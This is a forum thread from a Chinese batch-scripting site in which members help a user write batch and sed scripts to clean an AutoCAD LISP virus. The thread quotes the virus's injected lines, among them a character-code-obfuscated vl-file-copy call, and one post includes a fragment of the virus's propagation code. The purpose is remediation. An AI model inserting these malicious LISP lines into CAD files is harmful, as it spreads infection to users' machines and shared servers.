标题: [文件操作] 求帮忙写一个cad杀毒的bat(已解决) [打印本页]
作者: 195135692 时间: 2014-6-28 10:11 标题: 求帮忙写一个cad杀毒的bat(已解决)
本帖最后由 195135692 于 2014-8-16 09:38 编辑
背景: 本人只不会写批处理,用cad多年,目前公司有autocad和mechanical两个软件中毒,很烦人,下载了多个杀软,不能根本解决问题。
病毒传播方式有
1、分别在某些lsp和mnl文件中插入以下代码(在不同的文件中,可能只有以下的一行,可能有三行,可能重复的不连续的有很多行)
(load"acadapp.lsp")
(load"acadapq.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
2、在系统安装盘下(是XP或win7的系统安装盘)下生成boot.dat文件(不是boot.ini)
3、在cad的安装路径文件夹help下生成logo.gif文件
4、在新开或打开过的cad文件目录下生成acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acadapp.lsp、acadappp.lsp、acadiso.lsp文件,包括本机的文件和服务器上的文件(当然是有权限写的路径)
5、感染acad.fas、acaddoc.fas、lcm.fas文件(这个还不知道是怎么传染的,只知道删除了就会没事,不删病毒就会复发)
根椐本人几个月的试验,病毒只能新建和修改可读写的文件,对于只读文件还不能修改
6、病毒跟注册表没有关系,以上是我通过几个月的实验得出的
杀毒思路:找出病毒文件,删除恶意代码或文件,存为只读
1、找系统安装盘下有没有boot.dat文件,如有则清除文件内容,并存为只读。因为不是每个系统都在C盘,也可以全盘搜索boot.dat
2、找cad软件在cad的安装路径文件夹help下生成logo.gif文件,如有则清除文件内容,并存为只读。因为不是每次cad软件都在D盘,也可以全盘搜索logo.gif
3、搜索acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acad.fas、acad.sys、acadapp.lsp、acadappp.lsp、acaddoc.fas、acadiso.lsp、lcm.fas、acadsmu.fas文件并删除,最好能包括服务器的路径,比如\\mainserver\工程部\资料临时放置区
4、本机全盘搜索*.lsp和*.mnl文件,并在其文件中查找以下三行代码之一,并删除,这三行代码不一定是同时存在的,同一行代码在文件中可能不只一次出现
(load"acadapp.lsp")
(load"acadapq.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
如文件有出现以上代码的,删除代码后直接保存并存为只读
目前下载的专杀软件,可能没有做第1、2步,也没有把文件存为只读,因为杀完后很快的就中毒了。
请各位高手帮帮忙。
作者: 195135692 时间: 2014-6-30 08:27
看样子,这是有很难的呀
作者: Batcher 时间: 2014-6-30 21:46
1、找系统安装盘下有没有boot.dat文件,如有则清除文件内容,并存为只读。因为不是每个系统都在C盘,也可以全盘搜索boot.dat
慢慢来,先解决第一个问题:- @echo off
- set filename=%systemdrive%\boot.dat
- if not exist %filename%\ (
- if exist %filename% (
- type nul > %filename%
- attrib +r %filename%
- )
- )
复制代码
作者: 195135692 时间: 2014-6-30 22:48
本帖最后由 195135692 于 2014-6-30 22:52 编辑
boot.dat文件可以解决了
关于第二点的logo.gif,我并不清楚其病毒代码是放在logo.gif文件中的什么地方,手工的方法就是把其删除,然后新建一个空的logo.gif并存为只读放在原路径
作者: Batcher 时间: 2014-6-30 23:26
回复 4# 195135692
把你电脑上cad文件夹下的logo.gif的完整路径发出来,我要看看有什么特征。以免误操作其它logo.gif文件
作者: 195135692 时间: 2014-6-30 23:39
本帖最后由 195135692 于 2014-6-30 23:48 编辑
谢谢管理员,这么晚了还操心
这是我电脑的logo.gif文件路径
D:\Program Files\Autodesk\AutoCAD 2013\Help\logo.gif
以我所见,一定有Autodesk和Help文件夹,AutoCAD 2013这是软件版本,有可能是Mechanical 2013或其它类型的cad软件
这个可以全盘搜索删除,以我这几年来看,还没有用到其它软件有logo.gif文件的,就算有,删了也没有什么影响
作者: Batcher 时间: 2014-7-1 13:18
回复 6# 195135692
这里有几个全盘搜索的代码,你可以先自己试试:
http://bbs.bathome.net/thread-3465-1-1.html
作者: 195135692 时间: 2014-7-1 15:04
谢谢,全盘搜索文件删除可以了,服务器路径的不知道怎么写
作者: Batcher 时间: 2014-7-1 17:55
回复 8# 195135692
是第三点吗?
你说的服务器路径是什么意思?
是不是在服务器上有个共享文件夹,在你自己的电脑上映射网络驱动器来访问它?
作者: 195135692 时间: 2014-7-1 22:23
因为有局域网,文件是放在服务器上的,没用过网络驱动器访问,直接通过路径访问,比如\\mainserver\工程部\资料临时放置区
作者: 195135692 时间: 2014-7-4 23:30
跳过服务器路径这部分吧,求帮忙第四点怎么写
作者: DAIC 时间: 2014-7-5 12:43
- REM 删除指定字符串
- sed -i "s/(load\"acadap[pq].lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" 1.lsp
-
- REM 添加只读属性
- attrib +r 1.lsp
复制代码
作者: 195135692 时间: 2014-7-5 14:42
谢谢
但提示sed不是内部或外部命令,也不是可运行的程序
win 7 64位系统
这个是怎么处理的
作者: 195135692 时间: 2014-7-9 09:57
还不能解决提示sed不是内部或外部命令,也不是可运行的程序
求高手帮忙
作者: DAIC 时间: 2014-7-9 10:43
回复 14# 195135692
下载一个sed.exe
作者: 195135692 时间: 2014-7-9 19:32
本帖最后由 195135692 于 2014-7-9 19:35 编辑
下了sed,但运行时提示错误:
sed:invalid option -- i
后面一堆英文
怎么不能插入图片的呀
作者: DAIC 时间: 2014-7-9 20:18
回复 16# 195135692
你下载的哪个版本?试试4.2.2
http://bbs.bathome.net/thread-3981-1-1.html
作者: 195135692 时间: 2014-7-9 20:43
谢谢
下了sed.ese 4.4.2 可以了,但只能处理同一文件夹下的文件
做全盘搜索文件并删除怎么写
作者: 195135692 时间: 2014-7-12 09:16
继续求助中
如何做全盘搜索文件并删除文件内指定内容行如
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
作者: Batcher 时间: 2014-7-12 11:14
回复 19# 195135692
用7楼提供的BAT代码做全盘搜索,搜到之后调用sed做删除。
作者: 195135692 时间: 2014-7-15 19:42
我试了,程序如下
@echo off
rem acadap.lsp
set "FileName=acadap.lsp"
echo 正在搜索,请稍候...
for %%a in (C D E F ) do (
if exist %%a:\nul (
for /f "delims=" %%b in ('dir /a-d /s /b "%%a:\*%FileName%" 2^>nul') do (
if /i "%%~nxb" equ "%FileName%" (
sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" acadap.lsp
attrib +r acadap.lsp
)
)
)
)
pause
但还是只能处理程序所在目录的文件,并最后有提示sed:cannot remove ./sed9wcipb:permission denied
我是不是搞错了什么
作者: 195135692 时间: 2014-7-15 20:04
提示错误是因为attrib +r acadap.lsp
可还是只能处理所在程序目录的文件
作者: Batcher 时间: 2014-7-15 21:51
sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" acadap.lsp
attrib +r acadap.lsp
把常量改成变量试试
sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" "%%b"
attrib +r "%%b"
作者: 195135692 时间: 2014-7-16 08:08
本帖最后由 195135692 于 2014-7-16 08:26 编辑
sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" "%%b"
attrib +r "%%b"
只能处理程序所在目录的文件,不能处理其它目录的文件
无提示
作者: 195135692 时间: 2014-7-18 19:10
试了好久,终于
@echo off
set "FileName=acad2013doc.lsp"
echo 正在搜索病毒语句,请稍候...
for %%a in (C D E) do (
if exist %%a:\nul (
pushd %%a:\
for /r %%b in ("*%FileName%") do (
if /i "%%~nxb" equ "%FileName%" (
echo 正在搜索,请稍候...
echo.%%b
sed -i "s/(load\"acad2013doc.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
)
)
popd
)
)
pause
这个可以全盘搜索并删除了
作者: 195135692 时间: 2014-7-18 19:12
但又奇怪了
想删除(load"acadapq.lsp")
把程序换成
@echo off
echo 开始处理病毒语句1,请稍候...
set "FileName=acad2013doc.lsp"
echo 正在搜索病毒语句2,请稍候...
for %%a in (C D E) do (
if exist %%a:\nul (
pushd %%a:\
for /r %%b in ("*%FileName%") do (
if /i "%%~nxb" equ "%FileName%" (
echo 正在搜索,请稍候...
echo.%%b
sed -i "s/(load\"acad2013doc.lsp\")//g; s/(load"acadapq.lsp")//g" %%b
)
)
popd
)
)
pause
却不能处理,也没有提示,请大家看看,不知什么问题
作者: Batcher 时间: 2014-7-18 20:07
回复 26# 195135692
双引号需要转义
sed -i "s/(load\"acad2013doc.lsp\")//g; s/(load\"acadapq.lsp\")//g" %%b
作者: bluewing009 时间: 2014-7-18 20:57
load"acadapp.lsp"
能不能直接吧 "acadapp.lsp" 给kill了 不管载入点呢?
作者: 195135692 时间: 2014-7-18 22:19
本帖最后由 195135692 于 2014-7-18 22:30 编辑
谢谢,可以处理了
回楼上,acadapp.lsp是一个单独的文件,在程序的前面已经把它删除了,现在处理的是acad2013.lsp文件中调用病毒文件的语句
再请教
以下程序是处理acadapp.lsp和acad2013.lsp两个文件的
@echo off
set "FileName=acadap.lsp"
echo 正在搜索病毒语句,请稍候...
for %%a in (C D E) do (
if exist %%a:\nul (
pushd %%a:\
for /r %%b in ("*%FileName%") do (
if /i "%%~nxb" equ "%FileName%" (
echo 正在搜索,请稍候...
echo.%%b
sed -i "s/(load\"acadap.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapq.lsp\")//g" %%b
sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapp.lsp\")//g" %%b
)
)
popd
)
)
set "FileName=acad2013.lsp"
echo 正在搜索病毒语句2,请稍候...
for %%a in (C D E) do (
if exist %%a:\nul (
pushd %%a:\
for /r %%b in ("*%FileName%") do (
if /i "%%~nxb" equ "%FileName%" (
echo 正在搜索,请稍候...
echo.%%b
sed -i "s/(load\"acad2013.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapq.lsp\")//g" %%b
sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapp.lsp\")//g" %%b
)
)
popd
)
)
pause
实际上需要处理的文件还有acaddoc.lsp、acad.mnl等文件,是不是一直往下加程序呀,有没有优化的方法?
作者: CrLf 时间: 2014-7-18 22:39
回复 14# 195135692
见 15 楼签名档
作者: 195135692 时间: 2014-7-19 08:20
弱弱的问一下,”见 15 楼签名档“是什么
作者: Batcher 时间: 2014-7-19 08:32
回复 29# 195135692 - @echo off
- for %%i in (acadapp.lsp acad2013.lsp acaddoc.lsp acad.mnl) do (
- echo 正在搜索 %%i 里面的病毒语句,请稍候...
- for %%a in (C D E) do (
- if exist %%a:\ (
- pushd %%a:\
- for /r %%b in ("*%FileName%") do (
- if /i "%%~nxb" equ "%FileName%" (
- echo 正在搜索,请稍候...
- echo.%%b
- sed -i "s/(load\"%%i.lsp\")//g; s/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))//g" %%b
- sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapq.lsp\")//g" %%b
- sed -i "s/(load\"acadap.lsp\")//g; s/(load\"acadapp.lsp\")//g" %%b
- )
- )
- popd
- )
- )
- )
复制代码
作者: 195135692 时间: 2014-7-19 23:34
谢谢,
但acad.mnl文件不能处理
作者: Batcher 时间: 2014-7-20 16:21
回复 33# 195135692
具体描述一下
作者: 195135692 时间: 2014-8-2 15:07
本帖最后由 195135692 于 2014-8-2 15:15 编辑
经过10天的学习,对bat有了一些了解,一直在试33楼的程序,出的问题比较多
1、不能处理带空格路径下的文件,提示 “Sed: can't read 路径名 No such file or dircetory”之类的
2、开始的时候还能处理不带空格路径下的lsp文件,也不知道试了多少次,最后所有文件都不能处理了(处理是指删除文件中的病毒语句),运行后只显示
正在搜索 acadapp.lsp 里面的病毒语句,请稍候...
正在搜索 acad2013.lsp 里面的病毒语句,请稍候...
正在搜索 acaddoc.lsp 里面的病毒语句,请稍候...
正在搜索 acad.mnl 里面的病毒语句,请稍候...
已完成处理
请按任意键继续...
然后所有那些病毒的文件没有变化。
作者: 195135692 时间: 2014-8-2 15:14
我自已又拼了一个程序来试
@echo off
set "FileName=acad.lsp"
echo 正在搜索病毒语句,请稍候...
for %%a in (C D) do (
if exist %%a:\nul (
pushd %%a:\
for /r %%b in ("*%FileName%") do (
if /i "%%~nxb" equ "%FileName%" (
echo 正在搜索,请稍候...
echo.%%b
sed -i "/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))/d" %%b
echo 已处理1
sed -i "/(load\"acadapq.lsp\")/d" %%b
echo 已处理2
sed -i "/(load\"acadapp.lsp\")/d" %%b
echo 已处理3
)
)
popd
)
)
echo 已完成处理
pause
发现有两个问题
1、不能处理带空格的目录下的所有文件
2、有时候会在显示”已处理1“或”已处理2“后停在那里2个小时左右不动(电脑没死机),就关掉程序了,有几次这样的情况,显示正在处理文件的目录不一样。
首先,请帮忙解决带空格文件夹路路径的问题?
作者: DAIC 时间: 2014-8-2 16:09
回复 36# 195135692
加双引号
sed -i "/(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))/d" "%%b"
作者: 195135692 时间: 2014-8-2 17:01
谢谢,可以解决带空格的目录文件了,继续研究中
作者: 195135692 时间: 2014-8-7 17:37
本帖最后由 195135692 于 2014-8-7 17:43 编辑
试了几天,发与上面sed命令中,有时候会在显示”已处理1“或”已处理2“后或前停在那里2个小时左右不动(电脑没死机),就关掉程序了,有几次这样的情况,显示正在处理文件的目录不一样。
换了一种方法,如下
@echo off
FOR %%a IN (C: D: E DO (
cd /d %%a & for /r %%b in (
*.lsp
*.mnl
) do if exist %%b (
echo %%b
wfr "%%b" -r:"(load\"acadapp.lsp\")" -t:""
wfr "%%b" -r:"(load\"acadapq.lsp\")" -t:""
)
)
echo 已完成处理
pause
有两个问题
1、不能处理程序所在盘的文件(除程序所在的目录和下级目录,或除非程序放在根目录下)
2、想删除
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
语句如下
wfr "%%b" -r:"(vl-file-copy(findfile(vl-list->string\'(108 111 103 111 46 103 105 102)))(vl-list->string\'(97 99 97 100 46 118 108 120)))" -t:""
有问题,应该是要转义,不知道怎么转义
求帮忙
作者: 195135692 时间: 2014-8-8 11:38
解决上面第1个问题了,程序如下
@echo off
FOR %%a IN (c d e) DO (
echo 正在处理%%a
cd /d %%a:\
for /r %%b in (*.lsp *.mnl) do if exist %%b (
echo %%b
wfr "%%b" -r:"(load\"acadapp.lsp\")" -t:""
wfr "%%b" -r:"(load\"acadapq.lsp\")" -t:""
)
)
echo 已完成处理
pause
还剩第2个问题,如何删除
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
应该是转义的问题,求帮忙
作者: 195135692 时间: 2014-8-9 11:23
我试了半天,好像用wfr 删除(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
有点难呀
作者: wuhengsi 时间: 2014-8-9 22:08
专门写一个专杀EXE。kill了它吧,,,因为BAT稳定性不够,加上它要解释,很耗CPU的
作者: wuhengsi 时间: 2014-8-9 22:16
我之前碰到过这个病毒
(setq woldacad (strcat wpath "acad.mnl"))
(setq wnewacad (strcat dpath "acaddoc.lsp"))
(wwriteapp)
)
(vl-file-delete (strcat dpath "acaddoc.lsp"))
)
;load "acadapq")
(setvar "cmdecho" wold_cmd)
(load "acadappp.lsp")
(vl-file-copy(findfile(vl-list->string'(108 111 103 111 46 103 105 102)))(vl-list->string'(97 99 97 100 46 118 108 120)))
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
作者: 195135692 时间: 2014-8-9 22:23
1、好像差不多的传播原理。
2、上面代码是在什么文里的?
3、如何杀毒的?
作者: wuhengsi 时间: 2014-8-9 22:23
待这月忙完项目。。我来写个专杀EXE
作者: wuhengsi 时间: 2014-8-9 22:50
几年前碰过这个病毒,当时没有认真分析,只是简单提取了病毒的特征码,加入“620自助杀毒”病毒库中,可以全盘扫描到病毒
在专杀未出来前,可用 620自助杀毒 扫描全盘杀死,只是临时解决办法,要彻底解决还要专杀工具才行
620自助杀毒V2.1
下载地址: http://duote.com/soft/37637.html
作者: wuhengsi 时间: 2014-8-10 10:41
回复 1# 195135692
你能否尽快提供 CAD 病毒样本给我,以便能提取特征码及分析,如果你有完全的样本可以全部打包发送到我的邮箱:acad.vlx、acaddoc.lsp、acadapq.lsp、acad.lsp、acadapp.lsp、acadappp.lsp、acadiso.lsp、acad.fas、acaddoc.fas、lcm.fas、boot.dat、logo.gif (要压缩(或压缩2次)再发送)邮箱: [email]wuhengsi88@163.com[/email]
作者: 195135692 时间: 2014-8-10 15:39
好,明天回公司找找,谢谢
作者: wuhengsi 时间: 2014-10-18 18:29
CAD专杀已写好,请下载。。
相对轻巧快速。。。
文件名称:CAD病毒专杀工具V1.0.zip
文件大小:1.9MB
下载地址:http://pan.baidu.com/s/1c03Z2so
作者: wuhengsi 时间: 2014-10-19 02:02
说明:金山有误报,以上下载地址我暂时撤销了,正在申请解除误报中。。。
待解除误报后我再重新公布下载地址。
如现在各位有需要,请留下言
作者: wuhengsi 时间: 2014-10-21 00:58
软件已通过金山、360验证。 (2014-10-21 日最新下载地址)
文件名称:CAD病毒专杀工具V1.0
软件大小:1.9MB
下载地址:http://pan.baidu.com/s/1bnleIlT
欢迎光临 批处理之家 (http://bbs.bathome.net/) |
Powered by Discuz! 7.2 |